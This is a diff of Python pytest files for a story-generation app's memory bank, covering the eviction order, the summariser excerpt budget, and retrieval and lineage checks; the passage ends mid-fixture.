"""Negative control: the paraphrase plus a place only one other memory
|
||||
holds. The decoy gains lexical score, and still ranks below F."""
|
||||
for name in ("ranking_crowded", "independent_default"):
|
||||
control = scenario(name)["ranking_variants"]["rare_word_with_paraphrase"]
|
||||
assert control["decoy_lexical_score"] > control["lexical_score"]
|
||||
assert control["rank"] == 1
|
||||
assert control["decoy_rank"] > control["rank"]
|
||||
|
||||
|
||||
def test_common_words_contribute_nothing():
|
||||
common = scenario("independent_default")["ranking_variants"]["common_words"]
|
||||
assert common["lexical_score"] == 0.0
|
||||
|
||||
|
||||
# ---------------------------------------------------------- capacity/eviction
|
||||
|
||||
@pytest.mark.parametrize("name", ["past_capacity", "past_capacity_pinned", "past_capacity_low_top_k"])
|
||||
def test_past_capacity_the_early_memory_is_retained(name):
|
||||
"""v1.1 WP-B.2. On v1.0.0 all three are `created_but_evicted`: F was the
|
||||
least recently used row once recent narration stopped retrieving it, and
|
||||
went first (turns 21, 21 and 36). Coverage-first eviction keeps the only
|
||||
memory of the opening, so it stays active and is recalled at depth 106."""
|
||||
result = scenario(name)
|
||||
assert result["isolation"]["ok"], result["isolation"]
|
||||
diagnosis = result["diagnosis"]
|
||||
assert diagnosis["created"]["yes"] and diagnosis["retained"]["yes"]
|
||||
assert result["eviction"]["f_evicted_at_turn"] is None
|
||||
# The bank really was past capacity, and stayed bounded.
|
||||
assert result["eviction"]["first_eviction_turn"] is not None
|
||||
assert all(t["active"] <= result["scenario"]["capacity"] + (1 if result["scenario"]["pin_first_memory"] else 0)
|
||||
for t in result["trace"])
|
||||
assert result["trace"][-1]["total"] > result["scenario"]["capacity"]
|
||||
|
||||
|
||||
def test_past_capacity_the_bank_still_describes_the_whole_story():
|
||||
"""What the rule buys in general, not only for F: the active bank reaches
|
||||
from the opening to the newest block, and no stretch between them goes
|
||||
undescribed for more than twice the average spacing a bank of this capacity
|
||||
can afford (story span / capacity). On v1.0.0 these banks began at depths 36
|
||||
and 18: the opening was simply gone."""
|
||||
for name in ("past_capacity", "past_capacity_low_top_k"):
|
||||
result = scenario(name)
|
||||
cover = result["trace"][-1]["coverage"]
|
||||
assert cover["first_start"] == 0
|
||||
assert cover["last_end"] >= result["recall_depth"] - 2 * memorybank.MEMORY_INTERVAL
|
||||
assert cover["largest_gap"] <= 2 * (cover["last_end"] + 1) / result["scenario"]["capacity"]
|
||||
|
||||
|
||||
def test_no_memory_is_evicted_by_the_same_pass_that_created_it():
|
||||
"""The frozen-bank regression the v1.0.0 rule fixed, still holding."""
|
||||
for name in ("past_capacity", "past_capacity_pinned", "past_capacity_low_top_k"):
|
||||
assert scenario(name)["eviction"]["created_and_evicted_same_turn"] == []
|
||||
|
||||
|
||||
def test_a_pinned_memory_survives_capacity():
|
||||
eviction = scenario("past_capacity_pinned")["eviction"]
|
||||
assert eviction["pinned_memory_id"] is not None
|
||||
assert eviction["pinned_memory_forgotten"] is False
|
||||
|
||||
|
||||
def test_acceptance_an_early_fact_is_recalled_from_memory_past_capacity():
|
||||
"""Was `xfail(strict=True)` in WP-B.1; B.2 fixed the eviction rule."""
|
||||
for name in ("past_capacity", "past_capacity_pinned", "past_capacity_low_top_k"):
|
||||
assert scenario(name)["diagnosis"]["verdict"] == "injected"
|
||||
|
||||
|
||||
# ---------------------------------------------------------- creation window
|
||||
|
||||
def test_a_fact_early_in_a_long_block_now_reaches_the_summariser():
|
||||
"""v1.1 WP-B.2. On v1.0.0 this block (2,079 tokens) was cut to its last
|
||||
2,000, the fact at its start was never seen, and the stage was
|
||||
`not_created`. The excerpt is now the block's opening and end."""
|
||||
result = scenario("long_block_fact_early")
|
||||
created = result["diagnosis"]["created"]
|
||||
covering = created["covering_memories"]
|
||||
assert covering, "the long block must have been summarised"
|
||||
assert covering[0]["block_tokens"] > memorybank.MEMORY_EXCERPT_TOKENS
|
||||
assert covering[0]["fact_in_block"] is True
|
||||
assert covering[0]["fact_in_summariser_excerpt"] is True
|
||||
assert created["yes"] is True
|
||||
assert created["source_start"] <= result["plant_depth"] <= created["source_end"]
|
||||
assert memorybank.EXCERPT_OMISSION_MARKER not in created["memory_text"]
|
||||
|
||||
|
||||
def test_the_same_fact_late_in_the_same_sized_block_does():
|
||||
result = scenario("long_block_fact_late")
|
||||
covering = result["diagnosis"]["created"]["covering_memories"]
|
||||
assert covering[0]["block_tokens"] > memorybank.MEMORY_EXCERPT_TOKENS
|
||||
assert covering[0]["fact_in_summariser_excerpt"] is True
|
||||
assert result["diagnosis"]["created"]["yes"] is True
|
||||
|
||||
|
||||
def test_acceptance_a_fact_early_in_a_long_block_is_remembered():
|
||||
"""Was `xfail(strict=True)` in WP-B.1; B.2 changed the excerpt."""
|
||||
assert scenario("long_block_fact_early")["diagnosis"]["created"]["yes"] is True
|
||||
assert scenario("long_block_fact_early")["diagnosis"]["verdict"] == "injected"
|
||||
|
||||
|
||||
# ------------------------------------------ WP-B.2 full deterministic acceptance
|
||||
|
||||
def test_acceptance_full_isolation_holds_on_every_turn():
|
||||
"""`independent_full`: long blocks, a crowded query, a bank past capacity.
|
||||
F must be carried by memory alone for the whole run, not only at recall."""
|
||||
result = scenario("independent_full")
|
||||
assert result["plant_depth"] <= 3 and result["recall_depth"] >= 100
|
||||
assert not any(t["f_in_state"] for t in result["trace"])
|
||||
assert not any(t["f_in_summary"] for t in result["trace"])
|
||||
assert result["isolation"]["ok"], result["isolation"]
|
||||
for check in ("state_document", "state_snapshots", "later_narration", "summary",
|
||||
"knowledge", "recent_history", "state_section"):
|
||||
assert result["isolation"]["checks"][check]["ok"], check
|
||||
|
||||
|
||||
def test_acceptance_full_every_stage_passes_past_capacity_with_long_blocks():
|
||||
"""On v1.0.0 this fixture fails at creation: every block is over 2,000
|
||||
tokens, and the fact at the start of the first one is never summarised."""
|
||||
result = scenario("independent_full")
|
||||
diagnosis = result["diagnosis"]
|
||||
assert result["trace"][-1]["total"] > result["scenario"]["capacity"]
|
||||
assert diagnosis["created"]["covering_memories"][0]["block_tokens"] > memorybank.MEMORY_EXCERPT_TOKENS
|
||||
assert diagnosis["created"]["yes"] and diagnosis["retained"]["yes"]
|
||||
assert diagnosis["ranked"]["yes"] and diagnosis["ranked"]["replica_matches_stored_selection"]
|
||||
assert diagnosis["injected"]["yes"]
|
||||
assert diagnosis["verdict"] == "injected"
|
||||
|
||||
|
||||
def test_acceptance_full_provenance_resolves_to_the_planting_turn():
|
||||
provenance = scenario("independent_full")["provenance"]
|
||||
assert provenance["recorded"] is not None
|
||||
assert provenance["range_covers_plant"] and provenance["matches_row"]
|
||||
assert provenance["source_block_holds_planting"] is True
|
||||
assert provenance["recorded"]["authority"] == memorybank.ACCEPTED_STORY
|
||||
|
||||
|
||||
def test_acceptance_full_is_the_long_run_independent_memory_verdict():
|
||||
"""The same measurements, judged by the long-run tool's own verdict."""
|
||||
from tools import m11_long_run as lr
|
||||
|
||||
result = scenario("independent_full")
|
||||
checks = result["isolation"]["checks"]
|
||||
diagnosis = result["diagnosis"]
|
||||
verdict = lr._independent_memory_verdict({
|
||||
"independent_planted_depth": result["plant_depth"],
|
||||
"planted_turn_outside_history": checks["recent_history"]["ok"],
|
||||
"absent_from_state": checks["state_document"]["ok"] and checks["state_snapshots"]["ok"]
|
||||
and not any(t["f_in_state"] for t in result["trace"]),
|
||||
"absent_from_summary": checks["summary"]["ok"]
|
||||
and not any(t["f_in_summary"] for t in result["trace"]),
|
||||
"absent_from_knowledge": checks["knowledge"]["ok"],
|
||||
"absent_from_later_narration": checks["later_narration"]["ok"],
|
||||
"memory_covering_planting_carries_fact": diagnosis["created"]["yes"],
|
||||
"memory_forgotten": not diagnosis["retained"]["yes"],
|
||||
"memory_injected": diagnosis["injected"]["yes"],
|
||||
})
|
||||
assert verdict == "recovered_through_memory_independent"
|
||||
|
||||
|
||||
# ------------------------------------------------------- lineage control (G)
|
||||
|
||||
def test_an_abandoned_lines_memory_is_stored_but_never_eligible_or_injected():
|
||||
g = scenario("lineage_control")["lineage_control"]
|
||||
assert g["memory_ids"], "G's memory must exist on line A before it is abandoned"
|
||||
assert sorted(g["stored"]) == sorted(g["memory_ids"])
|
||||
assert g["eligible_on_active_line"] == []
|
||||
assert g["g_text_ever_in_used_memories"] is False
|
||||
# Any turn that did name G's memory was on line A, before the divergence.
|
||||
assert g["eligible_after_returning_to_line_a"] == g["memory_ids"]
|
||||
|
||||
|
||||
def test_the_lineage_scenario_still_diagnoses_f_on_the_active_line():
|
||||
result = scenario("lineage_control")
|
||||
assert result["isolation"]["ok"], result["isolation"]
|
||||
assert result["diagnosis"]["verdict"] == "injected"
|
||||
|
||||
|
||||
# ----------------------------------------------------- authority control
|
||||
|
||||
@pytest.fixture()
|
||||
def authority_client(monkeypatch):
|
||||
embedder = md.ConceptEmbedder()
|
||||
Base.metadata.create_all(bind=engine)
|
||||
memorybank._vector_cache.clear()
|
||||
with SessionLocal() as db:
|
||||
user = models.User(is_guest=False, email="b1-auth@example.com")
|
||||
db.add(user)
|
||||
db.flush()
|
||||
db.add(models.Settings(user_id=user.id, model="script",
|
||||
endpoint_url="http://127.0.0.1:9/v1",
|
||||
embedding_model="concept-embed", memory_top_k=5))
|
||||
adventure = models.Adventure(user_id=user.id, title="auth", memory_bank_enabled=True,
|
||||
auto_summarize=True)
|
||||
db.add(adventure)
|
||||
db.flush()
|
||||
db.add(models.Action(adventure_id=adventure.id, type="start", text="The tavern at dusk."))
|
||||
db.commit()
|
||||
adv, user_id = adventure.id, user.id
|
||||
monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
|
||||
monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", md.ScriptNarrator)
|
||||
monkeypatch.setattr(memorybank, "embedding_provider", lambda s: embedder)
|
||||
monkeypatch.setattr(memorybank, "summary_provider", lambda s: md.BestCaseSummariser())
|
||||
monkeypatch.setattr(memorybank, "schedule_post_turn", lambda a: None)
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id))
|
||||
client = TestClient(app)
|
||||
client.adv = adv
|
||||
try:
|
||||
yield client
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
adventures.turns._active_turns.clear()
|
||||
memorybank._vector_cache.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
def test_a_memory_that_contradicts_state_loses_and_changes_nothing(authority_client):
|
||||
client, adv = authority_client, authority_client.adv
|
||||
corrected = client.post(f"/api/adventures/{adv}/state/corrections", json={"events": [
|
||||
{"type": "add_fact", "predicate": "the tavern lamp is lit", "fact_id": "lamp-lit"}]})
|
||||
assert corrected.status_code in (200, 201), corrected.text[:300]
|
||||
made = client.post(f"/api/adventures/{adv}/memories",
|
||||
json={"text": "The tavern lamp was never lit that night."})
|
||||
assert made.status_code == 201, made.text[:300]
|
||||
client.patch(f"/api/adventures/{adv}/memories/{made.json()['id']}", json={"pinned": True})
|
||||
asyncio.run(memorybank.run_post_turn(adv)) # embed it
|
||||
|
||||
before = client.get(f"/api/adventures/{adv}/state").json()["document"]
|
||||
md.ScriptNarrator.next_reply = 'The fire crackles.\n```state\n{"events": []}\n```'
|
||||
played = client.post(f"/api/adventures/{adv}/actions",
|
||||
json={"type": "do", "text": "I look at the lamp."})
|
||||
assert played.status_code == 200 and '"type": "error"' not in played.text
|
||||
after = client.get(f"/api/adventures/{adv}/state").json()["document"]
|
||||
assert after == before # retrieval mutated no state
|
||||
|
||||
with SessionLocal() as db:
|
||||
action = (db.query(models.Action).filter_by(adventure_id=adv, type="ai")
|
||||
.options(undefer(models.Action.context_snapshot))
|
||||
.order_by(models.Action.id.desc()).first())
|
||||
snapshot = action.context_snapshot
|
||||
state_text = md._section(snapshot, md.STATE_LABEL)
|
||||
memory_text = md._section(snapshot, md.MEMORIES_LABEL)
|
||||
assert "the tavern lamp is lit" in state_text
|
||||
assert "never lit" in memory_text
|
||||
assert memory_text.startswith("Memories from earlier in the story")
|
||||
labels = [s["label"] for s in snapshot["sections"]]
|
||||
# State is read last of the live sections: it settles the conflict.
|
||||
assert labels.index(md.STATE_LABEL) > labels.index(md.MEMORIES_LABEL)
|
||||
@@ -0,0 +1,277 @@
|
||||
"""v1.1 WP-B.2 (B2.2): which memory a full bank lets go of.
|
||||
|
||||
v1.0.0 evicted the least recently used memory. B.1 showed that this discards
|
||||
the only memory of an early stretch first, because retrieval follows the present
|
||||
scene and nothing recent resembles it. `memorybank.eviction_order` now thins the
|
||||
bank where it is densest and keeps the opening and the newest stretch, with
|
||||
recency as the tie-break and least-recently-used as the fallback.
|
||||
|
||||
The scenario-level tests (the planted fact kept past capacity) are in
|
||||
`test_v11_b1_memory_diagnostic.py`; the v1.0.0 eviction tests in
|
||||
`test_memory_retrieval.py` still pass unchanged, because their memories carry
|
||||
no source range and take the fallback.
|
||||
|
||||
python -m pytest tests/test_v11_b2_memory_eviction.py -v
|
||||
"""
|
||||
|
||||
import random
|
||||
from collections import namedtuple
|
||||
from datetime import datetime, timedelta
|
||||
|
||||
import pytest
|
||||
from sqlalchemy import select
|
||||
|
||||
from app import memorybank, models, tree
|
||||
from app.context import lineage
|
||||
from app.database import Base, SessionLocal, engine
|
||||
|
||||
T0 = datetime(2026, 1, 1, 12, 0, 0)
|
||||
Row = namedtuple("Row", "id pinned source_start source_end last_used_at created_at use_count")
|
||||
|
||||
|
||||
def row(id, start, end=None, *, pinned=False, used=None, created=None, uses=0):
|
||||
"""A memory as eviction sees it. Times are minutes after T0."""
|
||||
return Row(id, pinned, start, (start + 5) if end is None and start is not None else end,
|
||||
None if used is None else T0 + timedelta(minutes=used),
|
||||
T0 + timedelta(minutes=id if created is None else created), uses)
|
||||
|
||||
|
||||
def blocks(n, *, first_id=1):
|
||||
return [row(first_id + i, 6 * i) for i in range(n)]
|
||||
|
||||
|
||||
def largest_gap_from_opening(rows):
|
||||
"""The longest uncovered run of depths from depth 0 to the last memory."""
|
||||
ordered = sorted((r.source_start, r.source_end) for r in rows)
|
||||
gaps = [ordered[0][0]]
|
||||
reach = ordered[0][1]
|
||||
for start, end in ordered[1:]:
|
||||
gaps.append(max(0, start - reach - 1))
|
||||
reach = max(reach, end)
|
||||
return max(gaps)
|
||||
|
||||
|
||||
# ------------------------------------------------------------ the pure order
|
||||
|
||||
|
||||
def test_the_opening_and_the_newest_memory_are_kept():
|
||||
bank = blocks(7)
|
||||
doomed = memorybank.eviction_order(bank, 5)
|
||||
assert bank[0].id not in doomed and bank[-1].id not in doomed
|
||||
assert len(doomed) == 5
|
||||
|
||||
|
||||
def test_the_densest_stretch_is_thinned_first():
|
||||
# Memories every 6 depths to 30, then a sparse stretch. Removing one of the
|
||||
# dense ones leaves a 6-depth hole; removing a sparse one leaves far more.
|
||||
bank = [row(1, 0), row(2, 6), row(3, 12), row(4, 18), row(5, 60), row(6, 120), row(7, 180)]
|
||||
assert memorybank.eviction_order(bank, 1)[0] in {2, 3, 4}
|
||||
assert set(memorybank.eviction_order(bank, 2)) <= {2, 3, 4}
|
||||
|
||||
|
||||
def test_a_stretch_two_memories_describe_loses_one_of_them_first():
|
||||
"""A shared start (a re-played stretch, or a sibling line) leaves no hole.
|
||||
Of the two, the less recently used goes, even though a unique memory
|
||||
elsewhere is older and less used than both."""
|
||||
bank = [row(1, 0), row(2, 6, used=5), row(3, 12, used=50), row(4, 12, used=40), row(5, 18)]
|
||||
assert memorybank.eviction_order(bank, 1) == [4]
|
||||
|
||||
|
||||
def test_equal_holes_fall_to_the_least_recently_used():
|
||||
bank = [row(1, 0), row(2, 6, used=30), row(3, 12, used=10), row(4, 18, used=20), row(5, 24)]
|
||||
assert memorybank.eviction_order(bank, 1) == [3]
|
||||
|
||||
|
||||
def test_a_newborn_can_be_the_legitimate_first_to_go():
|
||||
"""The frozen bank is about a newborn losing to a count it cannot have yet.
|
||||
A newborn that only repeats a stretch another memory describes, one used
|
||||
after it was written, is legitimately the first to go."""
|
||||
bank = [row(1, 0), row(2, 6, used=100), row(3, 12), row(4, 6, created=90)]
|
||||
assert memorybank.eviction_order(bank, 1) == [4]
|
||||
|
||||
|
||||
def test_the_newest_memory_is_not_evicted_by_the_bank_it_joins():
|
||||
"""The frozen-bank regression under the new rule: every older memory has
|
||||
been used, the newborn never has, and it still stays."""
|
||||
bank = [row(i, 6 * (i - 1), used=200 + i, uses=3) for i in range(1, 6)]
|
||||
newborn = row(6, 30, created=300)
|
||||
assert newborn.id not in memorybank.eviction_order(bank + [newborn], 1)
|
||||
|
||||
|
||||
def test_pins_are_never_taken_but_still_count_as_coverage():
|
||||
bank = [row(1, 0), row(2, 6, pinned=True), row(3, 12), row(4, 18, pinned=True), row(5, 24)]
|
||||
doomed = memorybank.eviction_order(bank, 10)
|
||||
assert not {2, 4} & set(doomed)
|
||||
# With the pins covering 6 and 18, memory 3's hole is only its own block.
|
||||
assert doomed[0] == 3
|
||||
|
||||
|
||||
def test_memories_without_a_range_take_the_least_recently_used_fallback():
|
||||
hand_written = [row(1, None, None, used=30), row(2, None, None, used=10),
|
||||
row(3, None, None, used=20)]
|
||||
assert memorybank.eviction_order(hand_written, 3) == [2, 3, 1]
|
||||
|
||||
|
||||
def test_the_fallback_is_used_only_once_no_interior_memory_remains():
|
||||
bank = [row(1, 0, used=1), row(2, 6, used=90), row(3, 12, used=2),
|
||||
row(10, None, None, used=0)]
|
||||
order = memorybank.eviction_order(bank, 4)
|
||||
assert order[0] == 2 # the interior memory, although recently used
|
||||
assert order[1:] == [10, 1, 3] # then least recently used
|
||||
|
||||
|
||||
def test_the_order_does_not_depend_on_row_order():
|
||||
bank = [row(i, 6 * (i - 1), used=(i * 37) % 11, uses=i % 3) for i in range(1, 30)]
|
||||
bank += [row(40, 12), row(41, 12)] # a shared start with identical timestamps
|
||||
expected = memorybank.eviction_order(bank, 20)
|
||||
for seed in range(5):
|
||||
shuffled = bank[:]
|
||||
random.Random(seed).shuffle(shuffled)
|
||||
assert memorybank.eviction_order(shuffled, 20) == expected
|
||||
|
||||
|
||||
def test_a_tie_on_every_signal_is_broken_by_id():
|
||||
bank = [row(1, 0), row(9, 6, created=0), row(4, 12, created=0), row(20, 18)]
|
||||
assert memorybank.eviction_order(bank, 1) == [4]
|
||||
|
||||
|
||||
@pytest.mark.parametrize("seed", range(8))
|
||||
def test_capacity_holds_and_pins_survive_for_any_bank(seed):
|
||||
rng = random.Random(seed)
|
||||
bank = []
|
||||
for i in range(1, rng.randint(2, 60)):
|
||||
start = None if rng.random() < 0.15 else rng.randrange(0, 400)
|
||||
bank.append(row(i, start, None if start is None else start + rng.choice([3, 5, 8]),
|
||||
pinned=rng.random() < 0.1, used=rng.choice([None, rng.randrange(500)]),
|
||||
uses=rng.randrange(4)))
|
||||
capacity = rng.randint(1, 30)
|
||||
overflow = len(bank) - capacity
|
||||
doomed = memorybank.eviction_order(bank, max(0, overflow))
|
||||
pinned = {r.id for r in bank if r.pinned}
|
||||
assert not pinned & set(doomed)
|
||||
assert len(set(doomed)) == len(doomed)
|
||||
remaining = len(bank) - len(doomed)
|
||||
assert remaining == max(capacity, len(pinned)) if overflow > 0 else remaining == len(bank)
|
||||
|
||||
|
||||
@pytest.mark.parametrize("n, capacity, irregular", [(60, 10, False), (500, 80, False), (500, 80, True)])
|
||||
def test_a_long_bank_keeps_describing_the_whole_story(n, capacity, irregular):
|
||||
"""The general property, with nothing ever retrieved: memories arrive one
|
||||
block at a time and the bank is kept at capacity. The opening stays, and no
|
||||
stretch goes undescribed for more than twice the average spacing. Least
|
||||
recently used order, on the same arrivals, keeps only the newest stretch."""
|
||||
rng = random.Random(n)
|
||||
kept, lru = [], []
|
||||
depth = 0
|
||||
for i in range(1, n + 1):
|
||||
size = rng.choice([4, 6, 6, 9]) if irregular else 6
|
||||
memory = row(i, depth, depth + size - 1)
|
||||
depth += size
|
||||
kept.append(memory)
|
||||
lru.append(memory)
|
||||
if len(kept) > capacity:
|
||||
doomed = set(memorybank.eviction_order(kept, len(kept) - capacity))
|
||||
kept = [m for m in kept if m.id not in doomed]
|
||||
lru = sorted(lru, key=lambda m: (m.created_at, m.id))[len(lru) - capacity:]
|
||||
assert len(kept) == capacity
|
||||
assert min(m.source_start for m in kept) == 0
|
||||
assert max(m.id for m in kept) == n
|
||||
assert largest_gap_from_opening(kept) <= 2 * depth / capacity
|
||||
assert largest_gap_from_opening(lru) > depth / 2 # v1.0.0 order: the opening is gone
|
||||
|
||||
|
||||
# --------------------------------------------------------- on real rows
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def db():
|
||||
Base.metadata.create_all(bind=engine)
|
||||
memorybank._vector_cache.clear()
|
||||
session = SessionLocal()
|
||||
try:
|
||||
yield session
|
||||
finally:
|
||||
session.close()
|
||||
memorybank._vector_cache.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def adventure(db):
|
||||
user = models.User(is_guest=False, email="b2-evict@example.com")
|
||||
db.add(user)
|
||||
db.flush()
|
||||
settings = models.Settings(user_id=user.id, model="m", embedding_model="e",
|
||||
memory_bank_capacity=3)
|
||||
adv = models.Adventure(user_id=user.id, title="Evict", script_state={}, memory_bank_enabled=True)
|
||||
db.add_all([settings, adv])
|
||||
db.commit()
|
||||
adv.settings_row = settings
|
||||
return adv
|
||||
|
||||
|
||||
def test_the_pass_changes_nothing_but_forgotten(db, adventure):
|
||||
for i in range(6):
|
||||
memory = models.Memory(adventure_id=adventure.id, text=f"block {i}",
|
||||
source_start=6 * i, source_end=6 * i + 5, branch_id=None, depth=6 * i + 5)
|
||||
db.add(memory)
|
||||
db.commit()
|
||||
columns = (models.Memory.id, models.Memory.text, models.Memory.source_start,
|
||||
models.Memory.source_end, models.Memory.branch_id, models.Memory.depth,
|
||||
models.Memory.pinned, models.Memory.use_count, models.Memory.last_used_at)
|
||||
before = {r.id: tuple(r) for r in db.execute(select(*columns)).all()}
|
||||
memorybank._evict_over_capacity(adventure, adventure.settings_row, db)
|
||||
after = {r.id: tuple(r) for r in db.execute(select(*columns)).all()}
|
||||
assert before == after
|
||||
active = db.execute(select(models.Memory.id).where(models.Memory.forgotten.is_(False))).scalars().all()
|
||||
assert len(active) == 3
|
||||
assert min(active) == min(before) and max(active) == max(before) # the boundaries
|
||||
|
||||
|
||||
def test_eviction_does_not_make_an_abandoned_lines_memory_eligible(db, adventure):
|
||||
"""Eviction and lineage are separate: the pass decides only `forgotten`, so
|
||||
a memory on a line the story left is exactly as ineligible afterwards."""
|
||||
trunk = []
|
||||
for i in range(4):
|
||||
action = models.Action(adventure_id=adventure.id, type="ai", text=f"trunk {i}")
|
||||
tree.place_action(db, adventure, action)
|
||||
db.add(action)
|
||||
db.flush()
|
||||
trunk.append(action)
|
||||
abandoned_node = models.Action(adventure_id=adventure.id, type="ai", text="the abandoned line")
|
||||
tree.place_action(db, adventure, abandoned_node)
|
||||
db.add(abandoned_node)
|
||||
db.flush()
|
||||
abandoned = models.Memory(adventure_id=adventure.id, text="on the abandoned line",
|
||||
source_start=4, source_end=4)
|
||||
tree.attach_memory(abandoned, abandoned_node)
|
||||
db.add(abandoned)
|
||||
db.commit()
|
||||
# Move the head back and diverge, so the abandoned node is off the path.
|
||||
adventure.head_depth = trunk[-1].depth
|
||||
db.commit()
|
||||
from app import head
|
||||
head.fork_if_behind_head(db, adventure)
|
||||
divergent = models.Action(adventure_id=adventure.id, type="ai", text="the new line")
|
||||
tree.place_action(db, adventure, divergent)
|
||||
db.add(divergent)
|
||||
db.flush()
|
||||
for i, node in enumerate(trunk + [divergent]):
|
||||
memory = models.Memory(adventure_id=adventure.id, text=f"active {i}",
|
||||
source_start=node.depth, source_end=node.depth)
|
||||
tree.attach_memory(memory, node)
|
||||
db.add(memory)
|
||||
db.commit()
|
||||
|
||||
def eligible():
|
||||
return set(db.execute(select(models.Memory.id).where(
|
||||
models.Memory.adventure_id == adventure.id,
|
||||
lineage.path_of(db, adventure).clause(models.Memory),
|
||||
models.Memory.forgotten.is_(False))).scalars().all())
|
||||
|
||||
assert abandoned.id not in eligible()
|
||||
memorybank._evict_over_capacity(adventure, adventure.settings_row, db)
|
||||
db.expire_all()
|
||||
assert abandoned.id not in eligible()
|
||||
assert len(db.execute(select(models.Memory.id).where(
|
||||
models.Memory.forgotten.is_(False))).scalars().all()) == 3
|
||||
@@ -0,0 +1,189 @@
|
||||
"""v1.1 WP-B.2 (B2.3): what the memory summariser is shown of a long block.
|
||||
|
||||
v1.0.0 sent the last 2,000 tokens of a block, so a fact early in a longer block
|
||||
never reached the summariser (B.1 §E). A block that fits is still sent whole. A
|
||||
longer one is now sent as its opening and its end, with a marker between them,
|
||||
inside the same 2,000-token budget.
|
||||
|
||||
The scenario-level test (the planted fact early in a long block, remembered) is
|
||||
in `test_v11_b1_memory_diagnostic.py`.
|
||||
|
||||
python -m pytest tests/test_v11_b2_memory_excerpt.py -v
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import random
|
||||
|
||||
import pytest
|
||||
|
||||
from app import memorybank, models, tree
|
||||
from app.context import builder
|
||||
from app.database import Base, SessionLocal, engine
|
||||
|
||||
BUDGET = memorybank.MEMORY_EXCERPT_TOKENS
|
||||
MARKER = memorybank.EXCERPT_OMISSION_MARKER
|
||||
FILLER = "The travellers walked the long grey road north past the salt market and the reed beds. "
|
||||
|
||||
|
||||
def words_to_tokens(tokens: int) -> str:
|
||||
"""Filler at least `tokens` long."""
|
||||
text = FILLER
|
||||
while builder.count_tokens(text) < tokens:
|
||||
text += FILLER
|
||||
return text
|
||||
|
||||
|
||||
# --------------------------------------------------------------- the excerpt
|
||||
|
||||
|
||||
def test_a_block_that_fits_is_sent_whole_and_unchanged():
|
||||
raw = words_to_tokens(BUDGET - 200)
|
||||
assert builder.count_tokens(raw) <= BUDGET
|
||||
assert memorybank.memory_excerpt(raw) == raw
|
||||
|
||||
|
||||
def test_a_block_of_exactly_the_budget_is_unchanged():
|
||||
raw = words_to_tokens(BUDGET)
|
||||
tokens = memorybank._excerpt_encoding().encode(raw)[:BUDGET]
|
||||
exact = memorybank._excerpt_encoding().decode(tokens)
|
||||
if builder.count_tokens(exact) == BUDGET:
|
||||
assert memorybank.memory_excerpt(exact) == exact
|
||||
|
||||
|
||||
def test_a_long_block_keeps_its_opening_and_its_end_in_order():
|
||||
opening = "Mara slipped the amber sundial inside the cracked teapot. "
|
||||
ending = "Aldric finally reached the north gate at dawn."
|
||||
raw = opening + words_to_tokens(3 * BUDGET) + ending
|
||||
excerpt = memorybank.memory_excerpt(raw)
|
||||
assert excerpt.startswith(opening)
|
||||
assert excerpt.endswith(ending)
|
||||
head, _, tail = excerpt.partition(f"\n\n{MARKER}\n\n")
|
||||
assert tail, "the marker must sit between the two parts"
|
||||
assert excerpt.index(opening) < excerpt.index(MARKER) < excerpt.index(ending)
|
||||
|
||||
|
||||
def test_the_split_is_even_and_documented():
|
||||
raw = words_to_tokens(4 * BUDGET)
|
||||
head_budget, tail_budget = memorybank.excerpt_split(BUDGET)
|
||||
marker_tokens = builder.count_tokens(f"\n\n{MARKER}\n\n")
|
||||
assert head_budget + tail_budget + marker_tokens == BUDGET
|
||||
assert abs(head_budget - tail_budget) <= 1
|
||||
excerpt = memorybank.memory_excerpt(raw)
|
||||
head, _, tail = excerpt.partition(f"\n\n{MARKER}\n\n")
|
||||
# Each part is cut as a run of `head_budget` / `tail_budget` tokens. Measured
|
||||
# on its own, a cut run can come to one token more, because the text either
|
||||
# side of the cut tokenises differently once it is separated; the hard limit
|
||||
# is the whole excerpt, tested below.
|
||||
assert builder.count_tokens(head) <= head_budget + 1
|
||||
assert builder.count_tokens(tail) <= tail_budget + 1
|
||||
assert builder.count_tokens(excerpt) <= BUDGET
|
||||
|
||||
|
||||
@pytest.mark.parametrize("extra", [1, 7, 500, BUDGET, 9 * BUDGET])
|
||||
def test_the_excerpt_never_exceeds_the_budget(extra):
|
||||
raw = words_to_tokens(BUDGET + extra)
|
||||
excerpt = memorybank.memory_excerpt(raw)
|
||||
assert builder.count_tokens(excerpt) <= BUDGET
|
||||
assert memorybank.memory_excerpt(raw) == excerpt # deterministic
|
||||
|
||||
|
||||
@pytest.mark.parametrize("seed", range(4))
|
||||
def test_the_budget_holds_for_awkward_text(seed):
|
||||
"""Token boundaries can merge differently once the parts are rejoined, and
|
||||
text that is not plain English tokenises unevenly. The budget still holds."""
|
||||
rng = random.Random(seed)
|
||||
alphabet = "abcdefghij ÄÖÜ ßé漢字かな 🙂🐉 \n\t.,;:—'\""
|
||||
raw = "".join(rng.choice(alphabet) for _ in range(12000))
|
||||
assert builder.count_tokens(memorybank.memory_excerpt(raw)) <= BUDGET
|
||||
|
||||
|
||||
def test_a_fact_in_the_middle_of_a_very_long_block_is_still_omitted():
|
||||
"""The documented limit of a bounded excerpt: head and tail, not everything."""
|
||||
half = words_to_tokens(3 * BUDGET)
|
||||
raw = half + "Mara slipped the amber sundial inside the cracked teapot. " + half
|
||||
assert "sundial" not in memorybank.memory_excerpt(raw)
|
||||
|
||||
|
||||
# ------------------------------------------------------------ memory creation
|
||||
|
||||
|
||||
class EchoSummariser:
|
||||
"""Returns the whole excerpt it was given as the memory: the worst case for
|
||||
a marker leaking into stored text."""
|
||||
|
||||
def __init__(self):
|
||||
self.users: list[str] = []
|
||||
|
||||
async def complete(self, system, user, *, temperature=0.3, max_tokens=400):
|
||||
self.users.append(user)
|
||||
return user.split("Story excerpt:\n\n", 1)[-1].rsplit("\n\nMemory:", 1)[0]
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def db():
|
||||
Base.metadata.create_all(bind=engine)
|
||||
session = SessionLocal()
|
||||
try:
|
||||
yield session
|
||||
finally:
|
||||
session.close()
|
||||
